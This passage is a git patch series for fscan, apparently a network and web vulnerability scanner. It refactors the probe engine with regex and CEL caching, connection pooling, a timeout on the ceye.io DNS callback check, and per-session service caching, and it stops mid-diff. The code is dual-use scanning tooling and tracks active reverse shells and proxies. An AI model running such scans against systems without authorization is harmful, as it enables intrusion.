enhancedDB.regexCacheMu.RLock() - re, exists := regexCache[pattern] - enhancedDB.regexCacheMu.RUnlock() - - if !exists { - // 不存在,需要编译并写入缓存(写锁) - enhancedDB.regexCacheMu.Lock() - // Double-check:可能其他goroutine已经编译了 - re, exists = regexCache[pattern] - if !exists { - var err error - if matcher.CaseInsensitive { - re, err = regexp.Compile("(?i)" + pattern) - } else { - re, err = regexp.Compile(pattern) - } - if err != nil { - enhancedDB.regexCacheMu.Unlock() - continue - } - regexCache[pattern] = re + if cached, ok := enhancedDB.regexCache.Load(cacheKey); ok { + re = cached.(*regexp.Regexp) + } else { + compiled, err := regexp.Compile(cacheKey) + if err != nil { + continue } - enhancedDB.regexCacheMu.Unlock() + actual, _ := enhancedDB.regexCache.LoadOrStore(cacheKey, compiled) + re = actual.(*regexp.Regexp) } // 确保 re 不为 nil(防止并发场景下的 nil panic) @@ -402,7 +401,7 @@ func ExtractVersions(body string, headers string) []VersionInfo { seen := make(map[string]struct{}) for _, extractor := range versionExtractors { - matches := extractor.pattern.FindAllStringSubmatch(content, -1) + matches := extractor.pattern.FindAllStringSubmatch(content, 5) for _, match := range matches { var name, version string diff --git a/webscan/fingerprint/enhanced_test.go b/webscan/fingerprint/enhanced_test.go index 17843d2..d0df42c 100644 --- a/webscan/fingerprint/enhanced_test.go +++ b/webscan/fingerprint/enhanced_test.go @@ -447,7 +447,7 @@ func TestMatchMatcher_TypeDispatch(t *testing.T) { matcher = createMatcher(tt.matcherType, nil, nil, nil, "", "", false) } - result := matchMatcher(matcher, "nginx server", "Server: nginx", FaviconHashes{MMH3: "abc123", MD5: "def456"}, nil) + result := matchMatcher(matcher, "nginx server", "Server: nginx", FaviconHashes{MMH3: "abc123", MD5: "def456"}) if result != tt.expected { t.Errorf("matchMatcher(type=%s) = %v, 期望 %v", tt.matcherType, result, tt.expected) diff --git a/webscan/lib/Client.go b/webscan/lib/Client.go index 2b90c65..014d516 100644 --- a/webscan/lib/Client.go +++ b/webscan/lib/Client.go @@ -143,12 +143,28 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max KeepAlive: keepAlive, } + // 连接池参数随并发数动态调整 + maxConns := ThreadsNum * 2 + if maxConns < 20 { + maxConns = 20 + } + if maxConns > 200 { + maxConns = 200 + } + idlePerHost := ThreadsNum / 2 + if idlePerHost < 5 { + idlePerHost = 5 + } + if idlePerHost > 20 { + idlePerHost = 20 + } + // 配置Transport参数 tr := &http.Transport{ DialContext: dialer.DialContext, - MaxConnsPerHost: 100, // 增加到100,避免连接池耗尽 - MaxIdleConns: 100, // 保留100个空闲连接 - MaxIdleConnsPerHost: 10, // 每主机保留10个空闲连接 + MaxConnsPerHost: maxConns, + MaxIdleConns: maxConns, + MaxIdleConnsPerHost: idlePerHost, IdleConnTimeout: keepAlive, TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true}, TLSHandshakeTimeout: 5 * time.Second, diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index f84dd0f..d751e05 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -3,6 +3,7 @@ package lib import ( "bytes" "compress/gzip" + "context" "errors" "fmt" "io" @@ -368,11 +369,14 @@ func reverseCheck(r *Reverse, timeout int64) bool { apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeAPI, sub) - // 创建并发送请求 - req, err := http.NewRequest("GET", apiURL, nil) + // 创建并发送请求(带超时控制,避免 ceye API 无响应时阻塞) + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + req, err := http.NewRequestWithContext(ctx, "GET", apiURL, nil) if err != nil { return false } + // nil session: CEL 回调无法获取 session,回退到全局限速(反连检查请求量极低,可接受) resp, err := DoRequest(req, false, nil) if err != nil { return false diff --git a/webscan/lib/eval_misc.go b/webscan/lib/eval_misc.go index d5c1a27..c6e0656 100644 --- a/webscan/lib/eval_misc.go +++ b/webscan/lib/eval_misc.go @@ -31,7 +31,7 @@ func registerMiscImplementations() []*functions.Overload { Operator: "reverse_wait_int", Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { reverse, ok := lhs.Value().(*Reverse) - if !ok { + if !ok || reverse == nil { return types.ValOrErr(lhs, "unexpected type '%v' passed to wait", lhs.Type()) } timeout, ok := rhs.(types.Int) diff --git a/webscan/lib/eval_string.go b/webscan/lib/eval_string.go index b8aa5e6..d5af036 100644 --- a/webscan/lib/eval_string.go +++ b/webscan/lib/eval_string.go @@ -70,11 +70,19 @@ func registerStringImplementations() []*functions.Overload { if !ok { return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type()) } - ok, err := regexp.Match(string(v1), v2) - if err != nil { - return types.NewErr("%v", err) + pattern := string(v1) + var re *regexp.Regexp + if cached, found := regexCache.Load(pattern); found { + re = cached.(*regexp.Regexp) + } else { + compiled, err := regexp.Compile(pattern) + if err != nil { + return types.NewErr("%v", err) + } + actual, _ := regexCache.LoadOrStore(pattern, compiled) + re = actual.(*regexp.Regexp) } - return types.Bool(ok) + return types.Bool(re.Match(v2)) }, }, { diff --git a/webscan/lib/poc_adapter.go b/webscan/lib/poc_adapter.go index cb67767..efc69e2 100644 --- a/webscan/lib/poc_adapter.go +++ b/webscan/lib/poc_adapter.go @@ -307,8 +307,8 @@ func convertNucleiMatchers(matchers []NucleiMatcher, matchersCondition string) s matcherConds = append(matcherConds, nucleiRegexCondition(m.Part, pattern)) } case "dsl": - // DSL类型暂不支持,使用默认匹配 - matcherConds = append(matcherConds, "response.status == 200") + // DSL类型暂不支持,安全降级为 false 避免误报 + matcherConds = append(matcherConds, "false") } // 单个matcher内的条件组合 diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index bc6be89..7c38e26 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -3,11 +3,13 @@ package lib import ( "crypto/md5" //nolint:gosec // G501: MD5用于POC规则去重,非加密用途 "fmt" + "io" "math/rand" //nolint:gosec // G404: math/rand用于生成测试数据,非加密用途 "net/http" "net/url" "os" "regexp" + "sort" "strings" "sync" "time" @@ -91,7 +93,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int, pocCtx *POCConte // 因为clusterpoc已在内部处理了漏洞输出 if isVulnerable && vulName != "" { // 构造漏洞详细信息 - details := make(map[string]interface{}) + details := make(map[string]interface{}, 6) details["vulnerability_type"] = task.Poc.Name details["vulnerability_name"] = vulName @@ -341,14 +343,22 @@ func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{} return false, "", nil } +var regexCache sync.Map + // doSearch 在响应体中执行正则匹配并提取命名捕获组 func doSearch(re string, body string) map[string]string { - // 编译正则表达式 - r, err := regexp.Compile(re) - // 正则表达式编译 - if err != nil { - common.LogError(i18n.Tr("webscan_regex_compile_error", err)) - return nil + // 编译正则表达式(带缓存) + var r *regexp.Regexp + if cached, ok := regexCache.Load(re); ok { + r = cached.(*regexp.Regexp) + } else { + compiled, err := regexp.Compile(re) + if err != nil { + common.LogError(i18n.Tr("webscan_regex_compile_error", err)) + return nil + } + actual, _ := regexCache.LoadOrStore(re, compiled) + r = actual.(*regexp.Regexp) } // 执行正则匹配 @@ -537,7 +547,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, if ruleIndex == len(p.Rules)-1 { // 最终规则成功,记录完整的结果并返回 recordVulnerabilityResult(targetURL, p, strMap, false, pocCtx.Session) - return false, nil + return true, nil } break paramLoop } @@ -620,11 +630,25 @@ func applyParametersToRule( return hasReplacement, replacedParams } -// getRuleHash 计算规则的MD5哈希值用于去重 +// getRuleHash 计算规则的MD5哈希值用于去重(无反射,Headers 排序保证确定性) func getRuleHash(rule *Rules) string { //nolint:gosec // G401: MD5用于规则去重,非加密用途 - ruleDigest := md5.Sum([]byte(fmt.Sprintf("%v", rule))) - return fmt.Sprintf("%x", ruleDigest) + h := md5.New() + _, _ = io.WriteString(h, rule.Method) + _, _ = io.WriteString(h, rule.Path) + _, _ = io.WriteString(h, rule.Body) + if len(rule.Headers) > 0 { + keys := make([]string, 0, len(rule.Headers)) + for k := range rule.Headers { + keys = append(keys, k) + } + sort.Strings(keys) + for _, k := range keys { + _, _ = io.WriteString(h, k) + _, _ = io.WriteString(h, rule.Headers[k]) + } + } + return fmt.Sprintf("%x", h.Sum(nil)) } // recordVulnerabilityResult 记录漏洞检测结果 @@ -830,11 +854,10 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re } // 检查表达式执行结果 - if fmt.Sprintf("%v", out) == "false" { - return false, nil + if flag, ok := out.Value().(bool); ok { + return flag, nil } - - return true, nil + return false, nil } // cloneRules 深度复制Rules结构体 @@ -870,8 +893,8 @@ func cloneMap(tags map[string]string) map[string]string { func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (string, error) { out, err := Evaluate(env, expression, variableMap) if err != nil { - variableMap[k] = expression - return expression, err + variableMap[k] = "" + return "", err } // 根据不同类型处理输出 diff --git a/webscan/web_scan.go b/webscan/web_scan.go index 22b3f37..3bc593e 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -13,6 +13,7 @@ import ( "strconv" "strings" "sync" + "sync/atomic" "time" "github.com/shadow1ng/fscan/common" @@ -43,7 +44,7 @@ var ( var pocsFS embed.FS var ( pocMu sync.Mutex - pocLoaded bool + pocLoaded atomic.Bool allPocs []*lib.Poc cachedPocPath string ) @@ -53,16 +54,18 @@ func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config, ses // 初始化POC配置(用于CEL回调函数) lib.InitPOCConfig(cfg.DNSLog) - // 加载POC(互斥保护,避免并发 race) - pocMu.Lock() - if !pocLoaded { - cachedPocPath = cfg.POC.PocPath - initPocs() - if len(allPocs) > 0 { - pocLoaded = true + // 加载POC(DCLP: 快速路径无锁,慢路径互斥保护) + if !pocLoaded.Load() { + pocMu.Lock() + if !pocLoaded.Load() { + cachedPocPath = cfg.POC.PocPath + initPocs() + if len(allPocs) > 0 { + pocLoaded.Store(true) + } } + pocMu.Unlock() } - pocMu.Unlock() // 验证输入 if info == nil { @@ -316,7 +319,7 @@ func loadExternalPocs(pocPath string) { loadPocsConcurrently(pocFiles, false, pocPath) } -// loadPocsConcurrently 并发加载POC文件 +// loadPocsConcurrently 并发加载POC文件(channel 收集,无锁竞争) func loadPocsConcurrently(pocFiles []string, isEmbedded bool, pocPath string) { pocCount := len(pocFiles) if pocCount == 0 { @@ -324,48 +327,45 @@ func loadPocsConcurrently(pocFiles []string, isEmbedded bool, pocPath string) { } var wg sync.WaitGroup - var mu sync.Mutex - var successCount, failCount int - - // 使用信号量控制并发数 + results := make(chan *lib.Poc, pocCount) semaphore := make(chan struct{}, concurrencyLimit) for _, file := range pocFiles { wg.Add(1) - semaphore <- struct{}{} // 获取信号量 + semaphore <- struct{}{} go func(filename string) { defer func() { - <-semaphore // 释放信号量 + <-semaphore wg.Done() }() var poc *lib.Poc var err error - - // 根据不同的来源加载POC if isEmbedded { poc, err = lib.LoadPoc(filename, pocsFS) } else { poc, err = lib.LoadPocbyPath(filename) } - mu.Lock() - defer mu.Unlock() - - if err != nil { - failCount++ - return - } - - if poc != nil { - allPocs = append(allPocs, poc) - successCount++ + if err == nil && poc != nil { + results <- poc } }(file) } - wg.Wait() + go func() { + wg.Wait() + close(results) + }() + + var successCount int + for poc := range results { + allPocs = append(allPocs, poc) + successCount++ + } + + failCount := pocCount - successCount common.LogInfo(i18n.Tr("poc_load_complete", pocCount, successCount, failCount)) } From d4f4e65deca430d1a8ff0f44169cde7fc77b2bf7 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 13 Jun 2026 19:24:57 +0800 Subject: [PATCH 16/29] =?UTF-8?q?refactor:=204=E9=A1=B9=E6=9E=B6=E6=9E=84?= =?UTF-8?q?=E4=BC=98=E5=8C=96=20=E2=80=94=20CEL=E7=BC=93=E5=AD=98/POC?= =?UTF-8?q?=E9=9A=94=E7=A6=BB/=E6=9C=8D=E5=8A=A1=E7=BC=93=E5=AD=98/?= =?UTF-8?q?=E7=BB=93=E6=9E=9C=E7=BB=9F=E4=B8=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1. CEL 表达式编译缓存 - 新增 CelProgCache,同一 POC 的所有规则/参数组合共享编译后的 Program - clusterpoc 热路径上消除重复的 Compile+Program 调用 2. POC 全局状态消除 - allPocs/pocLoaded 全局变量改为 pocStore 按 PocPath 缓存 - 不同 PocPath 的扫描独立加载,Web API 并发场景不再互相覆盖 3. serviceCache 下沉到 per-session State - 服务识别缓存从包级全局 map 迁移到 State.serviceCache (sync.Map) - BaseScanStrategy 通过 SetState 注入 session state - 消除多个并发扫描之间的服务识别缓存串台 4. POC 结果输出路径统一 - 提取 buildVulnDetails/buildVulnLogMsg/saveVulnResult 三个公共函数 - CheckMultiPoc 和 recordVulnerabilityResult 共用统一的结果构造逻辑 - 消除 details 字段名不一致和日志格式差异 --- common/state.go | 18 +++++ core/base_scan_strategy.go | 10 ++- core/scanner.go | 8 ++ core/service_cache_test.go | 6 +- core/web_scanner.go | 95 ++++++++++++++-------- core/web_scanner_test.go | 8 +- webscan/lib/Eval.go | 42 +++++++--- webscan/lib/poc_executor.go | 156 +++++++++++++++--------------------- webscan/web_scan.go | 121 +++++++++++++--------------- webscan/web_scan_test.go | 27 ++----- 10 files changed, 261 insertions(+), 230 deletions(-) diff --git a/common/state.go b/common/state.go index da4dea5..9b4f187 100644 --- a/common/state.go +++ b/common/state.go @@ -56,6 +56,10 @@ type State struct { forwardShellActive int32 // 使用int32以便原子操作 reverseShellActive int32 socks5ProxyActive int32 + + // 服务识别缓存(per-session,避免跨扫描污染) + // key: "host:port", value: interface{}(core.ServiceInfo 指针) + serviceCache sync.Map } // NewState 创建新的状态对象 @@ -455,3 +459,17 @@ func (s *State) CheckAndIncrementPacketRate(rateLimit int64) (bool, error) { return true, nil } + +// ============================================================================= +// 服务识别缓存 - per-session,消除跨扫描污染 +// ============================================================================= + +// CacheService 缓存服务信息 +func (s *State) CacheService(key string, info interface{}) { + s.serviceCache.Store(key, info) +} + +// GetCachedService 获取缓存的服务信息 +func (s *State) GetCachedService(key string) (interface{}, bool) { + return s.serviceCache.Load(key) +} diff --git a/core/base_scan_strategy.go b/core/base_scan_strategy.go index 9cd1ddc..231d17b 100644 --- a/core/base_scan_strategy.go +++ b/core/base_scan_strategy.go @@ -29,6 +29,7 @@ const ( type BaseScanStrategy struct { strategyName string filterType PluginFilterType + state *common.State } // NewBaseScanStrategy 创建基础扫描策略 @@ -39,6 +40,11 @@ func NewBaseScanStrategy(name string, filterType PluginFilterType) *BaseScanStra } } +// SetState 注入 session state(用于 per-session 服务缓存) +func (b *BaseScanStrategy) SetState(state *common.State) { + b.state = state +} + // GetPlugins 获取插件列表 func (b *BaseScanStrategy) GetPlugins(config *common.Config) ([]string, bool) { scanMode := config.Mode @@ -123,7 +129,7 @@ func (b *BaseScanStrategy) isLocalPluginExplicitlySpecified(pluginName string, c // 匹配策略:端口匹配 → 服务名称匹配(解决非标准端口问题) func (b *BaseScanStrategy) isPluginApplicableToPortWithHost(pluginName string, targetHost string, targetPort int) bool { if b.isWebPlugin(pluginName) { - return IsMarkedWebService(targetHost, targetPort) + return IsMarkedWebServiceWithState(b.state, targetHost, targetPort) } pluginPorts := b.getPluginPorts(pluginName) @@ -145,7 +151,7 @@ func (b *BaseScanStrategy) isPluginApplicableToPortWithHost(pluginName string, t // 端口不匹配时,按指纹识别结果匹配 // 例:8881 端口上识别到 ssh 服务 → ssh 插件应该执行 if targetHost != "" && targetPort > 0 { - if info, ok := GetCachedServiceInfo(targetHost, targetPort); ok && info != nil { + if info, ok := GetCachedServiceInfoWithState(b.state, targetHost, targetPort); ok && info != nil { if strings.EqualFold(info.Name, pluginName) { return true } diff --git a/core/scanner.go b/core/scanner.go index 32f2430..437b792 100644 --- a/core/scanner.go +++ b/core/scanner.go @@ -100,6 +100,9 @@ func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSess config := session.Config state := session.State + // 设置全局 State(兼容旧代码路径中未传 state 的调用) + SetGlobalState(state) + // 初始化HTTP客户端(静默,无需日志) if err := lib.Inithttp(config); err != nil { session.LogError(i18n.Tr("http_client_init_failed", err)) @@ -190,6 +193,11 @@ func finishScan(session *common.ScanSession) { func ExecuteScanTasks(ctx context.Context, session *common.ScanSession, targets []common.HostInfo, strategy ScanStrategy, ch chan struct{}, wg *sync.WaitGroup) { config := session.Config + // 注入 session state 到策略(用于 per-session 服务缓存) + if setter, ok := strategy.(interface{ SetState(*common.State) }); ok { + setter.SetState(session.State) + } + // 获取要执行的插件 pluginsToRun, isCustomMode := strategy.GetPlugins(config) diff --git a/core/service_cache_test.go b/core/service_cache_test.go index c277b2c..745ee74 100644 --- a/core/service_cache_test.go +++ b/core/service_cache_test.go @@ -4,6 +4,7 @@ import ( "sync" "testing" + "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/plugins" ) @@ -22,9 +23,8 @@ func registerTestPlugins(t *testing.T) { } func clearServiceCache() { - serviceCacheMutex.Lock() - serviceCache = make(map[string]*ServiceInfo) - serviceCacheMutex.Unlock() + state := common.NewState() + SetGlobalState(state) } // ============================================================================= diff --git a/core/web_scanner.go b/core/web_scanner.go index d26437e..ebe8687 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -208,12 +208,9 @@ func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, sess // 基于服务指纹的Web服务识别 // =============================== -// 服务识别缓存 - 存储所有识别到的服务(不仅限于 Web) -// 端口扫描阶段写入,插件匹配阶段读取 -var ( - serviceCache = make(map[string]*ServiceInfo) - serviceCacheMutex sync.RWMutex -) +// globalState 全局 State 兼容指针(向后兼容不接受 State 的旧调用方) +// 新代码应通过 State 方法访问服务缓存 +var globalState *common.State // IsWebServiceByFingerprint 基于服务指纹判断Web服务 - 保持API兼容 // 服务识别规则 - 编译期常量,避免运行时分配 @@ -279,50 +276,84 @@ func isDefinitelyNonWeb(serviceInfo *ServiceInfo) bool { return false } -// CacheServiceInfo 缓存识别到的服务信息 -func CacheServiceInfo(host string, port int, serviceInfo *ServiceInfo) { - cacheKey := net.JoinHostPort(host, strconv.Itoa(port)) - - serviceCacheMutex.Lock() - defer serviceCacheMutex.Unlock() - - serviceCache[cacheKey] = serviceInfo +// SetGlobalState 设置全局 State(RunScan 入口调用,兼容旧代码路径) +func SetGlobalState(state *common.State) { + globalState = state } -// MarkAsWebService 标记 Web 服务(兼容旧调用) +func resolveState(state *common.State) *common.State { + if state != nil { + return state + } + return globalState +} + +// CacheServiceInfoWithState 缓存服务信息到指定 State +func CacheServiceInfoWithState(state *common.State, host string, port int, serviceInfo *ServiceInfo) { + s := resolveState(state) + if s == nil { + return + } + key := net.JoinHostPort(host, strconv.Itoa(port)) + s.CacheService(key, serviceInfo) +} + +// CacheServiceInfo 兼容旧调用(使用全局 State) +func CacheServiceInfo(host string, port int, serviceInfo *ServiceInfo) { + CacheServiceInfoWithState(nil, host, port, serviceInfo) +} + +// MarkAsWebService 标记 Web 服务 func MarkAsWebService(host string, port int, serviceInfo *ServiceInfo) { CacheServiceInfo(host, port, serviceInfo) } -// GetCachedServiceInfo 获取缓存的服务信息 -func GetCachedServiceInfo(host string, port int) (*ServiceInfo, bool) { - cacheKey := net.JoinHostPort(host, strconv.Itoa(port)) - - serviceCacheMutex.RLock() - defer serviceCacheMutex.RUnlock() - - serviceInfo, exists := serviceCache[cacheKey] - return serviceInfo, exists -} - -// GetWebServiceInfo 获取 Web 服务信息(兼容旧调用) -func GetWebServiceInfo(host string, port int) (*ServiceInfo, bool) { - info, exists := GetCachedServiceInfo(host, port) - if !exists { +// GetCachedServiceInfoWithState 从指定 State 获取缓存的服务信息 +func GetCachedServiceInfoWithState(state *common.State, host string, port int) (*ServiceInfo, bool) { + s := resolveState(state) + if s == nil { return nil, false } - if !IsWebServiceByFingerprint(info) { + key := net.JoinHostPort(host, strconv.Itoa(port)) + val, ok := s.GetCachedService(key) + if !ok { + return nil, false + } + info, ok := val.(*ServiceInfo) + return info, ok +} + +// GetCachedServiceInfo 兼容旧调用 +func GetCachedServiceInfo(host string, port int) (*ServiceInfo, bool) { + return GetCachedServiceInfoWithState(nil, host, port) +} + +// GetWebServiceInfo 获取 Web 服务信息 +func GetWebServiceInfo(host string, port int) (*ServiceInfo, bool) { + return GetWebServiceInfoWithState(nil, host, port) +} + +// GetWebServiceInfoWithState 从指定 State 获取 Web 服务信息 +func GetWebServiceInfoWithState(state *common.State, host string, port int) (*ServiceInfo, bool) { + info, exists := GetCachedServiceInfoWithState(state, host, port) + if !exists || !IsWebServiceByFingerprint(info) { return nil, false } return info, true } -// IsMarkedWebService 检查是否为 Web 服务 +// IsMarkedWebService 检查是否为 Web 服务(使用全局 State) func IsMarkedWebService(host string, port int) bool { _, exists := GetWebServiceInfo(host, port) return exists } +// IsMarkedWebServiceWithState 检查是否为 Web 服务(指定 State) +func IsMarkedWebServiceWithState(state *common.State, host string, port int) bool { + _, exists := GetWebServiceInfoWithState(state, host, port) + return exists +} + // =============================== // Web扫描策略 // =============================== diff --git a/core/web_scanner_test.go b/core/web_scanner_test.go index 0a2c6f1..1fb4e7d 100644 --- a/core/web_scanner_test.go +++ b/core/web_scanner_test.go @@ -440,9 +440,7 @@ func TestCreateTargetFromURL(t *testing.T) { // TestWebServiceCache 测试Web服务缓存操作 func TestWebServiceCache(t *testing.T) { // 清空缓存 - serviceCacheMutex.Lock() - serviceCache = make(map[string]*ServiceInfo) - serviceCacheMutex.Unlock() + SetGlobalState(common.NewState()) t.Run("存储和读取", func(t *testing.T) { serviceInfo := &ServiceInfo{ @@ -517,9 +515,7 @@ func TestWebServiceCache(t *testing.T) { // TestWebServiceCache_Concurrent 测试并发安全性 func TestWebServiceCache_Concurrent(t *testing.T) { // 清空缓存 - serviceCacheMutex.Lock() - serviceCache = make(map[string]*ServiceInfo) - serviceCacheMutex.Unlock() + SetGlobalState(common.NewState()) t.Run("不同key并发写入", func(t *testing.T) { var wg sync.WaitGroup diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index d751e05..d62dd4e 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -139,26 +139,46 @@ func MakeVarDecl(key, value string) *exprpb.Decl { } } -// Evaluate 评估 CEL 表达式 +// CelProgCache 缓存编译后的 CEL Program,避免同一 POC 内重复编译 +// 在 executePoc 中创建,同一个 POC 的所有规则/参数组合共享 +type CelProgCache map[string]cel.Program + +// Evaluate 评估 CEL 表达式(无缓存,用于 Set/Sets 求值等低频路径) func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) { - // 空表达式默认返回 true + return EvaluateCached(env, expression, params, nil) +} + +// EvaluateCached 评估 CEL 表达式(带编译缓存,用于规则执行热路径) +func EvaluateCached(env *cel.Env, expression string, params map[string]interface{}, cache CelProgCache) (ref.Val, error) { if expression == "" { return types.Bool(true), nil } - // 编译表达式 - ast, issues := env.Compile(expression) - if issues.Err() != nil { - return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_expression_compile_failed"), issues.Err()) + var program cel.Program + + if cache != nil { + if cached, ok := cache[expression]; ok { + program = cached + } } - // 创建程序(使用缓存的程序选项) - program, err := env.Program(ast, GetBaseProgramOptions()...) - if err != nil { - return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_program_create_failed"), err) + if program == nil { + ast, issues := env.Compile(expression) + if issues.Err() != nil { + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_expression_compile_failed"), issues.Err()) + } + + var err error + program, err = env.Program(ast, GetBaseProgramOptions()...) + if err != nil { + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_program_create_failed"), err) + } + + if cache != nil { + cache[expression] = program + } } - // 执行评估 result, _, err := program.Eval(params) if err != nil { return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_expression_eval_failed"), err) diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index 7c38e26..476cbd3 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -92,59 +92,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int, pocCtx *POCConte // 仅当通过普通POC规则(非clusterpoc)检测到漏洞时,才创建结果 // 因为clusterpoc已在内部处理了漏洞输出 if isVulnerable && vulName != "" { - // 构造漏洞详细信息 - details := make(map[string]interface{}, 6) - details["vulnerability_type"] = task.Poc.Name - details["vulnerability_name"] = vulName - - // 添加作者信息(如果有) - if task.Poc.Detail.Author != "" { - details["author"] = task.Poc.Detail.Author - } - - // 添加参考链接(如果有) - if len(task.Poc.Detail.Links) != 0 { - details["references"] = task.Poc.Detail.Links - } - - // 添加漏洞描述(如果有) - if task.Poc.Detail.Description != "" { - details["description"] = task.Poc.Detail.Description - } - - // 创建并保存扫描结果 - result := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: task.Req.URL.String(), - Status: "vulnerable", - Details: details, - } - _ = pocCtx.Session.SaveResult(result) - - // 构造控制台输出的日志信息 - logMsg := i18n.Tr("webscan_vuln_detail_header", - task.Req.URL, - task.Poc.Name, - vulName) - - // 添加作者信息到日志 - if task.Poc.Detail.Author != "" { - logMsg += "\n\t" + i18n.Tr("webscan_vuln_author", task.Poc.Detail.Author) - } - - // 添加参考链接到日志 - if len(task.Poc.Detail.Links) != 0 { - logMsg += "\n\t" + i18n.Tr("webscan_vuln_references", strings.Join(task.Poc.Detail.Links, "\n")) - } - - // 添加描述信息到日志 - if task.Poc.Detail.Description != "" { - logMsg += "\n\t" + i18n.Tr("webscan_vuln_description", task.Poc.Detail.Description) - } - - // 输出成功日志 - pocCtx.Session.LogVuln(logMsg) + saveVulnResult(task.Req.URL.String(), task.Poc, vulName, nil, pocCtx.Session) } } }() @@ -223,17 +171,20 @@ func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, e } } + // CEL 编译缓存:同一个 POC 的所有规则/参数组合共享 + progCache := make(CelProgCache) + // 处理爆破模式 if len(p.Sets) > 0 { - success, err := clusterpoc(oReq, p, variableMap, req, env, pocCtx) + success, err := clusterpoc(oReq, p, variableMap, req, env, pocCtx, progCache) return success, "", err } - return executeRules(oReq, p, variableMap, req, env, pocCtx.Session) + return executeRules(oReq, p, variableMap, req, env, pocCtx.Session, progCache) } // executeRules 执行POC规则并返回结果 -func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, session *common.ScanSession) (bool, string, error) { +func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, session *common.ScanSession, progCache CelProgCache) (bool, string, error) { // 处理单个规则的函数 executeRule := func(rule Rules) (bool, error) { Headers := cloneMap(rule.Headers) @@ -301,8 +252,8 @@ func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{} } } - // 执行表达式 - out, err := Evaluate(env, rule.Expression, variableMap) + // 执行表达式(使用编译缓存) + out, err := EvaluateCached(env, rule.Expression, variableMap, progCache) if err != nil { return false, err } @@ -452,7 +403,7 @@ func newReverse(dnsLog bool) *Reverse { } // clusterpoc 执行集群POC检测,支持批量参数组合测试 -func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, pocCtx *POCContext) (success bool, err error) { +func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, pocCtx *POCContext, progCache CelProgCache) (success bool, err error) { var strMap StrMap // 存储成功的参数组合 var shiroKeyCount int // shiro key测试计数 @@ -461,7 +412,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, // 检查是否需要进行参数Fuzz测试 if !isFuzz(rule, p.Sets) { // 不需要Fuzz,直接发送请求 - success, err = clustersend(oReq, variableMap, req, env, rule, pocCtx.Session) + success, err = clustersend(oReq, variableMap, req, env, rule, pocCtx.Session, progCache) if err != nil { return false, err } @@ -527,7 +478,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, ruleHash[ruleMD5] = struct{}{} // 发送请求并处理结果 - success, err = clustersend(oReq, variableMap, req, env, currentRule, pocCtx.Session) + success, err = clustersend(oReq, variableMap, req, env, currentRule, pocCtx.Session, progCache) if err != nil { return false, err } @@ -651,59 +602,78 @@ func getRuleHash(rule *Rules) string { return fmt.Sprintf("%x", h.Sum(nil)) } -// recordVulnerabilityResult 记录漏洞检测结果 -func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, skipSave bool, session *common.ScanSession) { - // 构造详细信息 - details := make(map[string]interface{}) +// buildVulnDetails 构造统一的漏洞详情 map(消除 CheckMultiPoc 和 recordVulnerabilityResult 的重复逻辑) +func buildVulnDetails(pocDef *Poc, vulName string, params StrMap) map[string]interface{} { + details := make(map[string]interface{}, 6) details["vulnerability_type"] = pocDef.Name - details["vulnerability_name"] = pocDef.Name // 使用POC名称作为漏洞名称 - - // 添加作者信息(如果有) + details["vulnerability_name"] = vulName if pocDef.Detail.Author != "" { details["author"] = pocDef.Detail.Author } - - // 添加参考链接(如果有) if len(pocDef.Detail.Links) != 0 { details["references"] = pocDef.Detail.Links } - - // 添加漏洞描述(如果有) if pocDef.Detail.Description != "" { details["description"] = pocDef.Detail.Description } - - // 添加参数信息(如果有) if len(params) > 0 { - paramMap := make(map[string]string) + paramMap := make(map[string]string, len(params)) for _, item := range params { paramMap[item.Key] = item.Value } details["parameters"] = paramMap } + return details +} - // 